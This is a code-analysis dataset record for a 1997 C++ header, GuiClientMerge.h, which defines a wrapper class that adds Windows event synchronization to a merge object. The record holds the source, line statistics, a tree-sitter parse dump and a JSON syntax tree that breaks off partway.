SetYourFileName(LPCTSTR yourFileName) { m_yourFileName = yourFileName; } CString YourFileName() { return m_yourFileName; } void SetTheirFileName(LPCTSTR theirFileName) { m_theirFileName = theirFileName; } CString TheirFileName() { return m_theirFileName; } void SetHeadIsText(BOOL b) { m_bHeadIsText = b; } BOOL GetHeadIsText() { return m_bHeadIsText; } void SetStatus(MergeStatus status) { m_status = status; } MergeStatus GetStatus() const { return m_status; } void CheckResultFile() { m_pMerge->IsAcceptable(); } protected: ClientMerge *m_pMerge; HANDLE m_hEvent; MergeStatus m_status; CString m_filespec; CString m_baseFileName; CString m_yourFileName; CString m_theirFileName; BOOL m_bHeadIsText; }; ///////////////////////////////////////////////////////////////////////////// #endif //__GUICLIENTMERGE__
37.19
58
(translation_unit) "//\n// Copyright 1997 <NAME>. All rights reserved.\n//\n//\n\n// GuiClientMerge.h \n//\n// CGuiClientMerge is a ClientMerge wrapper\n// that add a synchronization mechanism\n//\n\n#ifndef __GUICLIENTMERGE__\n#define __GUICLIENTMERGE__\n\nclass CGuiClientMerge\n{\npublic:\n CGuiClientMerge(ClientMerge *pMerge)\n : m_pMerge(pMerge)\n {\n m_hEvent= CreateEvent(NULL, FALSE, FALSE, NULL);\n }\n void WaitForSignal() { WaitForSingleObject(m_hEvent, INFINITE); }\n BOOL Signal() { return SetEvent(m_hEvent); }\n\n FileSys *YourFile() { return m_pMerge->GetYourFile(); }\n FileSys *TheirFile() { return m_pMerge->GetTheirFile(); }\n FileSys *BaseFile() { return m_pMerge->GetBaseFile(); }\n FileSys *ResultFile() { return m_pMerge->GetResultFile(); }\n\n int GetBothChunks() const { return m_pMerge->GetBothChunks(); }\n int GetYourChunks() const { return m_pMerge->GetYourChunks(); }\n int GetConflictChunks() const { return m_pMerge->GetConflictChunks(); }\n int GetTheirChunks() const { return m_pMerge->GetTheirChunks(); }\n\n bool IsAcceptable() const { return m_pMerge->IsAcceptable() == 1; }\n\n void SetFilespec(LPCTSTR filespec) { m_filespec = filespec; }\n CString GetFilespec() { return m_filespec; } \n void SetBaseFileName(LPCTSTR baseFileName) { m_baseFileName = baseFileName; }\n CString BaseFileName() { return m_baseFileName; } \n void SetYourFileName(LPCTSTR yourFileName) { m_yourFileName = yourFileName; }\n CString YourFileName() { return m_yourFileName; } \n void SetTheirFileName(LPCTSTR theirFileName) { m_theirFileName = theirFileName; }\n CString TheirFileName() { return m_theirFileName; }\n void SetHeadIsText(BOOL b) { m_bHeadIsText = b; }\n BOOL GetHeadIsText() { return m_bHeadIsText; }\n\n void SetStatus(MergeStatus status) { m_status = status; }\n MergeStatus GetStatus() const { return m_status; }\n\n void CheckResultFile()\n {\n m_pMerge->IsAcceptable();\n }\nprotected:\n ClientMerge *m_pMerge;\n HANDLE m_hEvent;\n MergeStatus m_status;\n CString m_filespec;\n CString m_baseFileName;\n CString m_yourFileName;\n CString m_theirFileName;\n BOOL m_bHeadIsText;\n};\n\n/////////////////////////////////////////////////////////////////////////////\n#endif //__GUICLIENTMERGE__\n\n\n\n\n\n\n" (comment) "//" (comment) "// Copyright 1997 <NAME>. All rights reserved." (comment) "//" (comment) "//" (comment) "// GuiClientMerge.h " (comment) "//" (comment) "// CGuiClientMerge is a ClientMerge wrapper" (comment) "// that add a synchronization mechanism" (comment) "//" (preproc_ifdef) "#ifndef __GUICLIENTMERGE__\n#define __GUICLIENTMERGE__\n\nclass CGuiClientMerge\n{\npublic:\n CGuiClientMerge(ClientMerge *pMerge)\n : m_pMerge(pMerge)\n {\n m_hEvent= CreateEvent(NULL, FALSE, FALSE, NULL);\n }\n void WaitForSignal() { WaitForSingleObject(m_hEvent, INFINITE); }\n BOOL Signal() { return SetEvent(m_hEvent); }\n\n FileSys *YourFile() { return m_pMerge->GetYourFile(); }\n FileSys *TheirFile() { return m_pMerge->GetTheirFile(); }\n FileSys *BaseFile() { return m_pMerge->GetBaseFile(); }\n FileSys *ResultFile() { return m_pMerge->GetResultFile(); }\n\n int GetBothChunks() const { return m_pMerge->GetBothChunks(); }\n int GetYourChunks() const { return m_pMerge->GetYourChunks(); }\n int GetConflictChunks() const { return m_pMerge->GetConflictChunks(); }\n int GetTheirChunks() const { return m_pMerge->GetTheirChunks(); }\n\n bool IsAcceptable() const { return m_pMerge->IsAcceptable() == 1; }\n\n void SetFilespec(LPCTSTR filespec) { m_filespec = filespec; }\n CString GetFilespec() { return m_filespec; } \n void SetBaseFileName(LPCTSTR baseFileName) { m_baseFileName = baseFileName; }\n CString BaseFileName() { return m_baseFileName; } \n void SetYourFileName(LPCTSTR yourFileName) { m_yourFileName = yourFileName; }\n CString YourFileName() { return m_yourFileName; } \n void SetTheirFileName(LPCTSTR theirFileName) { m_theirFileName = theirFileName; }\n CString TheirFileName() { return m_theirFileName; }\n void SetHeadIsText(BOOL b) { m_bHeadIsText = b; }\n BOOL GetHeadIsText() { return m_bHeadIsText; }\n\n void SetStatus(MergeStatus status) { m_status = status; }\n MergeStatus GetStatus() const { return m_status; }\n\n void CheckResultFile()\n {\n m_pMerge->IsAcceptable();\n }\nprotected:\n ClientMerge *m_pMerge;\n HANDLE m_hEvent;\n MergeStatus m_status;\n CString m_filespec;\n CString m_baseFileName;\n CString m_yourFileName;\n CString m_theirFileName;\n BOOL m_bHeadIsText;\n};\n\n/////////////////////////////////////////////////////////////////////////////\n#endif" (#ifndef) "#ifndef" (identifier) "__GUICLIENTMERGE__" (preproc_def) "#define __GUICLIENTMERGE__\n" (#define) "#define" (identifier) "__GUICLIENTMERGE__" (function_definition) "class CGuiClientMerge\n{\npublic:\n CGuiClientMerge(ClientMerge *pMerge)\n : m_pMerge(pMerge)\n {\n m_hEvent= CreateEvent(NULL, FALSE, FALSE, NULL);\n }\n void WaitForSignal() { WaitForSingleObject(m_hEvent, INFINITE); }\n BOOL Signal() { return SetEvent(m_hEvent); }\n\n FileSys *YourFile() { return m_pMerge->GetYourFile(); }\n FileSys *TheirFile() { return m_pMerge->GetTheirFile(); }\n FileSys *BaseFile() { return m_pMerge->GetBaseFile(); }\n FileSys *ResultFile() { return m_pMerge->GetResultFile(); }\n\n int GetBothChunks() const { return m_pMerge->GetBothChunks(); }\n int GetYourChunks() const { return m_pMerge->GetYourChunks(); }\n int GetConflictChunks() const { return m_pMerge->GetConflictChunks(); }\n int GetTheirChunks() const { return m_pMerge->GetTheirChunks(); }\n\n bool IsAcceptable() const { return m_pMerge->IsAcceptable() == 1; }\n\n void SetFilespec(LPCTSTR filespec) { m_filespec = filespec; }\n CString GetFilespec() { return m_filespec; } \n void SetBaseFileName(LPCTSTR baseFileName) { m_baseFileName = baseFileName; }\n CString BaseFileName() { return m_baseFileName; } \n void SetYourFileName(LPCTSTR yourFileName) { m_yourFileName = yourFileName; }\n CString YourFileName() { return m_yourFileName; } \n void SetTheirFileName(LPCTSTR theirFileName) { m_theirFileName = theirFileName; }\n CString TheirFileName() { return m_theirFileName; }\n void SetHeadIsText(BOOL b) { m_bHeadIsText = b; }\n BOOL GetHeadIsText() { return m_bHeadIsText; }\n\n void SetStatus(MergeStatus status) { m_status = status; }\n MergeStatus GetStatus() const { return m_status; }\n\n void CheckResultFile()\n {\n m_pMerge->IsAcceptable();\n }\nprotected:\n ClientMerge *m_pMerge;\n HANDLE m_hEvent;\n MergeStatus m_status;\n CString m_filespec;\n CString m_baseFileName;\n CString m_yourFileName;\n CString m_theirFileName;\n BOOL m_bHeadIsText;\n}" (type_identifier) "class" (identifier) "CGuiClientMerge" (compound_statement) "{\npublic:\n CGuiClientMerge(ClientMerge *pMerge)\n : m_pMerge(pMerge)\n {\n m_hEvent= CreateEvent(NULL, FALSE, FALSE, NULL);\n }\n void WaitForSignal() { WaitForSingleObject(m_hEvent, INFINITE); }\n BOOL Signal() { return SetEvent(m_hEvent); }\n\n FileSys *YourFile() { return m_pMerge->GetYourFile(); }\n FileSys *TheirFile() { return m_pMerge->GetTheirFile(); }\n FileSys *BaseFile() { return m_pMerge->GetBaseFile(); }\n FileSys *ResultFile() { return m_pMerge->GetResultFile(); }\n\n int GetBothChunks() const { return m_pMerge->GetBothChunks(); }\n int GetYourChunks() const { return m_pMerge->GetYourChunks(); }\n int GetConflictChunks() const { return m_pMerge->GetConflictChunks(); }\n int GetTheirChunks() const { return m_pMerge->GetTheirChunks(); }\n\n bool IsAcceptable() const { return m_pMerge->IsAcceptable() == 1; }\n\n void SetFilespec(LPCTSTR filespec) { m_filespec = filespec; }\n CString GetFilespec() { return m_filespec; } \n void SetBaseFileName(LPCTSTR baseFileName) { m_baseFileName = baseFileName; }\n CString BaseFileName() { return m_baseFileName; } \n void SetYourFileName(LPCTSTR yourFileName) { m_yourFileName = yourFileName; }\n CString YourFileName() { return m_yourFileName; } \n void SetTheirFileName(LPCTSTR theirFileName) { m_theirFileName = theirFileName; }\n CString TheirFileName() { return m_theirFileName; }\n void SetHeadIsText(BOOL b) { m_bHeadIsText = b; }\n BOOL GetHeadIsText() { return m_bHeadIsText; }\n\n void SetStatus(MergeStatus status) { m_status = status; }\n MergeStatus GetStatus() const { return m_status; }\n\n void CheckResultFile()\n {\n m_pMerge->IsAcceptable();\n }\nprotected:\n ClientMerge *m_pMerge;\n HANDLE m_hEvent;\n MergeStatus m_status;\n CString m_filespec;\n CString m_baseFileName;\n CString m_yourFileName;\n CString m_theirFileName;\n BOOL m_bHeadIsText;\n}" ({) "{" (labeled_statement) "public:\n CGuiClientMerge(ClientMerge *pMerge)\n : m_pMerge(pMerge)\n {\n m_hEvent= CreateEvent(NULL, FALSE, FALSE, NULL);\n }" (statement_identifier) "public" (ERROR) ":\n CGuiClientMerge(ClientMerge *pMerge)" (:) ":" (call_expression) "CGuiClientMerge(ClientMerge *pMerge)" (identifier) "CGuiClientMerge" (argument_list) "(ClientMerge *pMerge)" (() "(" (binary_expression) "ClientMerge *pMerge" (identifier) "ClientMerge" (*) "*" (identifier) "pMerge" ()) ")" (:) ":" (ERROR) "m_pMerge(pMerge)" (macro_type_specifier) "m_pMerge(pMerge)" (identifier) "m_pMerge" (() "(" (type_descriptor) "pMerge" (type_identifier) "pMerge" ()) ")" (compound_statement) "{\n m_hEvent= CreateEvent(NULL, FALSE, FALSE, NULL);\n }" ({) "{" (expression_statement) "m_hEvent= CreateEvent(NULL, FALSE, FALSE, NULL);" (assignment_expression) "m_hEvent= CreateEvent(NULL, FALSE, FALSE, NULL)" (identifier) "m_hEvent" (=) "=" (call_expression) "CreateEvent(NULL, FALSE, FALSE, NULL)" (identifier) "CreateEvent" (argument_list) "(NULL, FALSE, FALSE, NULL)" (() "(" (null) "NULL" (NULL) "NULL" (,) "," (false) "FALSE" (,) "," (false) "FALSE" (,) "," (null) "NULL" (NULL) "NULL" ()) ")" (;) ";" (}) "}" (function_definition) "void WaitForSignal() { WaitForSingleObject(m_hEvent, INFINITE); }" (primitive_type) "void" (function_declarator) "WaitForSignal()" (identifier) "WaitForSignal" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{ WaitForSingleObject(m_hEvent, INFINITE); }" ({) "{" (expression_statement) "WaitForSingleObject(m_hEvent, INFINITE);" (call_expression) "WaitForSingleObject(m_hEvent, INFINITE)" (identifier) "WaitForSingleObject" (argument_list) "(m_hEvent, INFINITE)" (() "(" (identifier) "m_hEvent" (,) "," (identifier) "INFINITE" ()) ")" (;) ";" (}) "}" (function_definition) "BOOL Signal() { return SetEvent(m_hEvent); }" (type_identifier) "BOOL" (function_declarator) "Signal()" (identifier) "Signal" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{ return SetEvent(m_hEvent); }" ({) "{" (return_statement) "return SetEvent(m_hEvent);" (return) "return" (call_expression) "SetEvent(m_hEvent)" (identifier) "SetEvent" (argument_list) "(m_hEvent)" (() "(" (identifier) "m_hEvent" ()) ")" (;) ";" (}) "}" (function_definition) "FileSys *YourFile() { return m_pMerge->GetYourFile(); }" (type_identifier) "FileSys" (pointer_declarator) "*YourFile()" (*) "*" (function_declarator) "YourFile()" (identifier) "YourFile" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{ return m_pMerge->GetYourFile(); }" ({) "{" (return_statement) "return m_pMerge->GetYourFile();" (return) "return" (call_expression) "m_pMerge->GetYourFile()" (field_expression) "m_pMerge->GetYourFile" (identifier) "m_pMerge" (->) "->" (field_identifier) "GetYourFile" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (function_definition) "FileSys *TheirFile() { return m_pMerge->GetTheirFile(); }" (type_identifier) "FileSys" (pointer_declarator) "*TheirFile()" (*) "*" (function_declarator) "TheirFile()" (identifier) "TheirFile" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{ return m_pMerge->GetTheirFile(); }" ({) "{" (return_statement) "return m_pMerge->GetTheirFile();" (return) "return" (call_expression) "m_pMerge->GetTheirFile()" (field_expression) "m_pMerge->GetTheirFile" (identifier) "m_pMerge" (->) "->" (field_identifier) "GetTheirFile" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (function_definition) "FileSys *BaseFile() { return m_pMerge->GetBaseFile(); }" (type_identifier) "FileSys" (pointer_declarator) "*BaseFile()" (*) "*" (function_declarator) "BaseFile()" (identifier) "BaseFile" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{ return m_pMerge->GetBaseFile(); }" ({) "{" (return_statement) "return m_pMerge->GetBaseFile();" (return) "return" (call_expression) "m_pMerge->GetBaseFile()" (field_expression) "m_pMerge->GetBaseFile" (identifier) "m_pMerge" (->) "->" (field_identifier) "GetBaseFile" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (function_definition) "FileSys *ResultFile() { return m_pMerge->GetResultFile(); }" (type_identifier) "FileSys" (pointer_declarator) "*ResultFile()" (*) "*" (function_declarator) "ResultFile()" (identifier) "ResultFile" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{ return m_pMerge->GetResultFile(); }" ({) "{" (return_statement) "return m_pMerge->GetResultFile();" (return) "return" (call_expression) "m_pMerge->GetResultFile()" (field_expression) "m_pMerge->GetResultFile" (identifier) "m_pMerge" (->) "->" (field_identifier) "GetResultFile" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (ERROR) "int GetBothChunks() const" (primitive_type) "int" (function_declarator) "GetBothChunks()" (identifier) "GetBothChunks" (parameter_list) "()" (() "(" ()) ")" (type_qualifier) "const" (const) "const" (compound_statement) "{ return m_pMerge->GetBothChunks(); }" ({) "{" (return_statement) "return m_pMerge->GetBothChunks();" (return) "return" (call_expression) "m_pMerge->GetBothChunks()" (field_expression) "m_pMerge->GetBothChunks" (identifier) "m_pMerge" (->) "->" (field_identifier) "GetBothChunks" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (ERROR) "int GetYourChunks() const" (primitive_type) "int" (function_declarator) "GetYourChunks()" (identifier) "GetYourChunks" (parameter_list) "()" (() "(" ()) ")" (type_qualifier) "const" (const) "const" (compound_statement) "{ return m_pMerge->GetYourChunks(); }" ({) "{" (return_statement) "return m_pMerge->GetYourChunks();" (return) "return" (call_expression) "m_pMerge->GetYourChunks()" (field_expression) "m_pMerge->GetYourChunks" (identifier) "m_pMerge" (->) "->" (field_identifier) "GetYourChunks" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (ERROR) "int GetConflictChunks() const" (primitive_type) "int" (function_declarator) "GetConflictChunks()" (identifier) "GetConflictChunks" (parameter_list) "()" (() "(" ()) ")" (type_qualifier) "const" (const) "const" (compound_statement) "{ return m_pMerge->GetConflictChunks(); }" ({) "{" (return_statement) "return m_pMerge->GetConflictChunks();" (return) "return" (call_expression) "m_pMerge->GetConflictChunks()" (field_expression) "m_pMerge->GetConflictChunks" (identifier) "m_pMerge" (->) "->" (field_identifier) "GetConflictChunks" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (ERROR) "int GetTheirChunks() const" (primitive_type) "int" (function_declarator) "GetTheirChunks()" (identifier) "GetTheirChunks" (parameter_list) "()" (() "(" ()) ")" (type_qualifier) "const" (const) "const" (compound_statement) "{ return m_pMerge->GetTheirChunks(); }" ({) "{" (return_statement) "return m_pMerge->GetTheirChunks();" (return) "return" (call_expression) "m_pMerge->GetTheirChunks()" (field_expression) "m_pMerge->GetTheirChunks" (identifier) "m_pMerge" (->) "->" (field_identifier) "GetTheirChunks" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (ERROR) "bool IsAcceptable() const" (primitive_type) "bool" (function_declarator) "IsAcceptable()" (identifier) "IsAcceptable" (parameter_list) "()" (() "(" ()) ")" (type_qualifier) "const" (const) "const" (compound_statement) "{ return m_pMerge->IsAcceptable() == 1; }" ({) "{" (return_statement) "return m_pMerge->IsAcceptable() == 1;" (return) "return" (binary_expression) "m_pMerge->IsAcceptable() == 1" (call_expression) "m_pMerge->IsAcceptable()" (field_expression) "m_pMerge->IsAcceptable" (identifier) "m_pMerge" (->) "->" (field_identifier) "IsAcceptable" (argument_list) "()" (() "(" ()) ")" (==) "==" (number_literal) "1" (;) ";" (}) "}" (function_definition) "void SetFilespec(LPCTSTR filespec) { m_filespec = filespec; }" (primitive_type) "void" (function_declarator) "SetFilespec(LPCTSTR filespec)" (identifier) "SetFilespec" (parameter_list) "(LPCTSTR filespec)" (() "(" (parameter_declaration) "LPCTSTR filespec" (type_identifier) "LPCTSTR" (identifier) "filespec" ()) ")" (compound_statement) "{ m_filespec = filespec; }" ({) "{" (expression_statement) "m_filespec = filespec;" (assignment_expression) "m_filespec = filespec" (identifier) "m_filespec" (=) "=" (identifier) "filespec" (;) ";" (}) "}" (function_definition) "CString GetFilespec() { return m_filespec; }" (type_identifier) "CString" (function_declarator) "GetFilespec()" (identifier) "GetFilespec" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{ return m_filespec; }" ({) "{" (return_statement) "return m_filespec;" (return) "return" (identifier) "m_filespec" (;) ";" (}) "}" (function_definition) "void SetBaseFileName(LPCTSTR baseFileName) { m_baseFileName = baseFileName; }" (primitive_type) "void" (function_declarator) "SetBaseFileName(LPCTSTR baseFileName)" (identifier) "SetBaseFileName" (parameter_list) "(LPCTSTR baseFileName)" (() "(" (parameter_declaration) "LPCTSTR baseFileName" (type_identifier) "LPCTSTR" (identifier) "baseFileName" ()) ")" (compound_statement) "{ m_baseFileName = baseFileName; }" ({) "{" (expression_statement) "m_baseFileName = baseFileName;" (assignment_expression) "m_baseFileName = baseFileName" (identifier) "m_baseFileName" (=) "=" (identifier) "baseFileName" (;) ";" (}) "}" (function_definition) "CString BaseFileName() { return m_baseFileName; }" (type_identifier) "CString" (function_declarator) "BaseFileName()" (identifier) "BaseFileName" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{ return m_baseFileName; }" ({) "{" (return_statement) "return m_baseFileName;" (return) "return" (identifier) "m_baseFileName" (;) ";" (}) "}" (function_definition) "void SetYourFileName(LPCTSTR yourFileName) { m_yourFileName = yourFileName; }" (primitive_type) "void" (function_declarator) "SetYourFileName(LPCTSTR yourFileName)" (identifier) "SetYourFileName" (parameter_list) "(LPCTSTR yourFileName)" (() "(" (parameter_declaration) "LPCTSTR yourFileName" (type_identifier) "LPCTSTR" (identifier) "yourFileName" ()) ")" (compound_statement) "{ m_yourFileName = yourFileName; }" ({) "{" (expression_statement) "m_yourFileName = yourFileName;" (assignment_expression) "m_yourFileName = yourFileName" (identifier) "m_yourFileName" (=) "=" (identifier) "yourFileName" (;) ";" (}) "}" (function_definition) "CString YourFileName() { return m_yourFileName; }" (type_identifier) "CString" (function_declarator) "YourFileName()" (identifier) "YourFileName" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{ return m_yourFileName; }" ({) "{" (return_statement) "return m_yourFileName;" (return) "return" (identifier) "m_yourFileName" (;) ";" (}) "}" (function_definition) "void SetTheirFileName(LPCTSTR theirFileName) { m_theirFileName = theirFileName; }" (primitive_type) "void" (function_declarator) "SetTheirFileName(LPCTSTR theirFileName)" (identifier) "SetTheirFileName" (parameter_list) "(LPCTSTR theirFileName)" (() "(" (parameter_declaration) "LPCTSTR theirFileName" (type_identifier) "LPCTSTR" (identifier) "theirFileName" ()) ")" (compound_statement) "{ m_theirFileName = theirFileName; }" ({) "{" (expression_statement) "m_theirFileName = theirFileName;" (assignment_expression) "m_theirFileName = theirFileName" (identifier) "m_theirFileName" (=) "=" (identifier) "theirFileName" (;) ";" (}) "}" (function_definition) "CString TheirFileName() { return m_theirFileName; }" (type_identifier) "CString" (function_declarator) "TheirFileName()" (identifier) "TheirFileName" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{ return m_theirFileName; }" ({) "{" (return_statement) "return m_theirFileName;" (return) "return" (identifier) "m_theirFileName" (;) ";" (}) "}" (function_definition) "void SetHeadIsText(BOOL b) { m_bHeadIsText = b; }" (primitive_type) "void" (function_declarator) "SetHeadIsText(BOOL b)" (identifier) "SetHeadIsText" (parameter_list) "(BOOL b)" (() "(" (parameter_declaration) "BOOL b" (type_identifier) "BOOL" (identifier) "b" ()) ")" (compound_statement) "{ m_bHeadIsText = b; }" ({) "{" (expression_statement) "m_bHeadIsText = b;" (assignment_expression) "m_bHeadIsText = b" (identifier) "m_bHeadIsText" (=) "=" (identifier) "b" (;) ";" (}) "}" (function_definition) "BOOL GetHeadIsText() { return m_bHeadIsText; }" (type_identifier) "BOOL" (function_declarator) "GetHeadIsText()" (identifier) "GetHeadIsText" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{ return m_bHeadIsText; }" ({) "{" (return_statement) "return m_bHeadIsText;" (return) "return" (identifier) "m_bHeadIsText" (;) ";" (}) "}" (function_definition) "void SetStatus(MergeStatus status) { m_status = status; }" (primitive_type) "void" (function_declarator) "SetStatus(MergeStatus status)" (identifier) "SetStatus" (parameter_list) "(MergeStatus status)" (() "(" (parameter_declaration) "MergeStatus status" (type_identifier) "MergeStatus" (identifier) "status" ()) ")" (compound_statement) "{ m_status = status; }" ({) "{" (expression_statement) "m_status = status;" (assignment_expression) "m_status = status" (identifier) "m_status" (=) "=" (identifier) "status" (;) ";" (}) "}" (ERROR) "MergeStatus GetStatus() const" (type_identifier) "MergeStatus" (function_declarator) "GetStatus()" (identifier) "GetStatus" (parameter_list) "()" (() "(" ()) ")" (type_qualifier) "const" (const) "const" (compound_statement) "{ return m_status; }" ({) "{" (return_statement) "return m_status;" (return) "return" (identifier) "m_status" (;) ";" (}) "}" (function_definition) "void CheckResultFile()\n {\n m_pMerge->IsAcceptable();\n }" (primitive_type) "void" (function_declarator) "CheckResultFile()" (identifier) "CheckResultFile" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{\n m_pMerge->IsAcceptable();\n }" ({) "{" (expression_statement) "m_pMerge->IsAcceptable();" (call_expression) "m_pMerge->IsAcceptable()" (field_expression) "m_pMerge->IsAcceptable" (identifier) "m_pMerge" (->) "->" (field_identifier) "IsAcceptable" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (labeled_statement) "protected:\n ClientMerge *m_pMerge;" (statement_identifier) "protected" (:) ":" (declaration) "ClientMerge *m_pMerge;" (type_identifier) "ClientMerge" (pointer_declarator) "*m_pMerge" (*) "*" (identifier) "m_pMerge" (;) ";" (declaration) "HANDLE m_hEvent;" (type_identifier) "HANDLE" (identifier) "m_hEvent" (;) ";" (declaration) "MergeStatus m_status;" (type_identifier) "MergeStatus" (identifier) "m_status" (;) ";" (declaration) "CString m_filespec;" (type_identifier) "CString" (identifier) "m_filespec" (;) ";" (declaration) "CString m_baseFileName;" (type_identifier) "CString" (identifier) "m_baseFileName" (;) ";" (declaration) "CString m_yourFileName;" (type_identifier) "CString" (identifier) "m_yourFileName" (;) ";" (declaration) "CString m_theirFileName;" (type_identifier) "CString" (identifier) "m_theirFileName" (;) ";" (declaration) "BOOL m_bHeadIsText;" (type_identifier) "BOOL" (identifier) "m_bHeadIsText" (;) ";" (}) "}" (expression_statement) ";" (;) ";" (comment) "/////////////////////////////////////////////////////////////////////////////" (#endif) "#endif" (comment) "//__GUICLIENTMERGE__"
576
8
{"language": "c", "success": true, "metadata": {"lines": 58, "avg_line_length": 37.19, "nodes": 316, "errors": 0, "source_hash": "0d03973d2aa8474096763bf7f7d5a6fa5633f622a98ea0fad3d6e2bf895da624", "categorized_nodes": 227}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef __GUICLIENTMERGE__\n#define __GUICLIENTMERGE__\n\nclass CGuiClientMerge\n{\npublic:\n CGuiClientMerge(ClientMerge *pMerge)\n : m_pMerge(pMerge)\n {\n\t m_hEvent= CreateEvent(NULL, FALSE, FALSE, NULL);\n }\n\tvoid WaitForSignal() { WaitForSingleObject(m_hEvent, INFINITE); }\n\tBOOL Signal() { return SetEvent(m_hEvent); }\n\n\tFileSys *YourFile() { return m_pMerge->GetYourFile(); }\n\tFileSys *TheirFile() { return m_pMerge->GetTheirFile(); }\n\tFileSys *BaseFile() { return m_pMerge->GetBaseFile(); }\n\tFileSys *ResultFile() { return m_pMerge->GetResultFile(); }\n\n\tint GetBothChunks() const { return m_pMerge->GetBothChunks(); }\n\tint GetYourChunks() const { return m_pMerge->GetYourChunks(); }\n\tint GetConflictChunks() const { return m_pMerge->GetConflictChunks(); }\n\tint GetTheirChunks() const { return m_pMerge->GetTheirChunks(); }\n\n bool IsAcceptable() const { return m_pMerge->IsAcceptable() == 1; }\n\n void SetFilespec(LPCTSTR filespec) { m_filespec = filespec; }\n CString GetFilespec() { return m_filespec; } \n void SetBaseFileName(LPCTSTR baseFileName) { m_baseFileName = baseFileName; }\n CString BaseFileName() { return m_baseFileName; } \n void SetYourFileName(LPCTSTR yourFileName) { m_yourFileName = yourFileName; }\n CString YourFileName() { return m_yourFileName; } \n void SetTheirFileName(LPCTSTR theirFileName) { m_theirFileName = theirFileName; }\n\tCString TheirFileName() { return m_theirFileName; }\n\tvoid SetHeadIsText(BOOL b) { m_bHeadIsText = b; }\n\tBOOL GetHeadIsText() { return m_bHeadIsText; }\n\n void SetStatus(MergeStatus status) { m_status = status; }\n MergeStatus GetStatus() const { return m_status; }\n\n void CheckResultFile()\n {\n m_pMerge->IsAcceptable();\n }\nprotected:\n ClientMerge *m_pMerge;\n\tHANDLE m_hEvent;\n MergeStatus m_status;\n\tCString m_filespec;\n CString m_baseFileName;\n CString m_yourFileName;\n CString m_theirFileName;\n\tBOOL m_bHeadIsText;\n};\n\n/////////////////////////////////////////////////////////////////////////////\n#endif", "parent": null, "children": [1, 2, 3, 6, 315], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 67, "column": 6}}, {"id": 1, "type": "#ifndef", "text": "#ifndef", "parent": 0, "children": [], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 11, "column": 7}}, {"id": 2, "type": "identifier", "text": "__GUICLIENTMERGE__", "parent": 0, "children": [], "start_point": {"row": 11, "column": 8}, "end_point": {"row": 11, "column": 26}}, {"id": 3, "type": "preproc_def", "text": "#define __GUICLIENTMERGE__\n", "parent": 0, "children": [4, 5], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 13, "column": 0}}, {"id": 4, "type": "#define", "text": "#define", "parent": 3, "children": [], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 12, "column": 7}}, {"id": 5, "type": "identifier", "text": "__GUICLIENTMERGE__", "parent": 3, "children": [], "start_point": {"row": 12, "column": 8}, "end_point": {"row": 12, "column": 26}}, {"id": 6, "type": "function_definition", "text": "class CGuiClientMerge\n{\npublic:\n CGuiClientMerge(ClientMerge *pMerge)\n : m_pMerge(pMerge)\n {\n\t m_hEvent= CreateEvent(NULL, FALSE, FALSE, NULL);\n }\n\tvoid WaitForSignal() { WaitForSingleObject(m_hEvent, INFINITE); }\n\tBOOL Signal() { return SetEvent(m_hEvent); }\n\n\tFileSys *YourFile() { return m_pMerge->GetYourFile(); }\n\tFileSys *TheirFile() { return m_pMerge->GetTheirFile(); }\n\tFileSys *BaseFile() { return m_pMerge->GetBaseFile(); }\n\tFileSys *ResultFile() { return m_pMerge->GetResultFile(); }\n\n\tint GetBothChunks() const { return m_pMerge->GetBothChunks(); }\n\tint GetYourChunks() const { return m_pMerge->GetYourChunks(); }\n\tint GetConflictChunks() const { return m_pMerge->GetConflictChunks(); }\n\tint GetTheirChunks() const { return m_pMerge->GetTheirChunks(); }\n\n bool IsAcceptable() const { return m_pMerge->IsAcceptable() == 1; }\n\n void SetFilespec(LPCTSTR filespec) { m_filespec = filespec; }\n CString GetFilespec() { return m_filespec; } \n void SetBaseFileName(LPCTSTR baseFileName) { m_baseFileName = baseFileName; }\n CString BaseFileName() { return m_baseFileName; } \n void SetYourFileName(LPCTSTR yourFileName) { m_yourFileName = yourFileName; }\n CString YourFileName() { return m_yourFileName; } \n void SetTheirFileName(LPCTSTR theirFileName) { m_theirFileName = theirFileName; }\n\tCString TheirFileName() { return m_theirFileName; }\n\tvoid SetHeadIsText(BOOL b) { m_bHeadIsText = b; }\n\tBOOL GetHeadIsText() { return m_bHeadIsText; }\n\n void SetStatus(MergeStatus status) { m_status = status; }\n MergeStatus GetStatus() const { return m_status; }\n\n void CheckResultFile()\n {\n m_pMerge->IsAcceptable();\n }\nprotected:\n ClientMerge *m_pMerge;\n\tHANDLE m_hEvent;\n MergeStatus m_status;\n\tCString m_filespec;\n CString m_baseFileName;\n CString m_yourFileName;\n CString m_theirFileName;\n\tBOOL m_bHeadIsText;\n}", "parent": 0, "children": [7], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 64, "column": 1}}, {"id": 7, "type": "identifier", "text": "CGuiClientMerge", "parent": 6, "children": [], "start_point": {"row": 14, "column": 6}, "end_point": {"row": 14, "column": 21}}, {"id": 8, "type": "labeled_statement", "text": "public:\n CGuiClientMerge(ClientMerge *pMerge)\n : 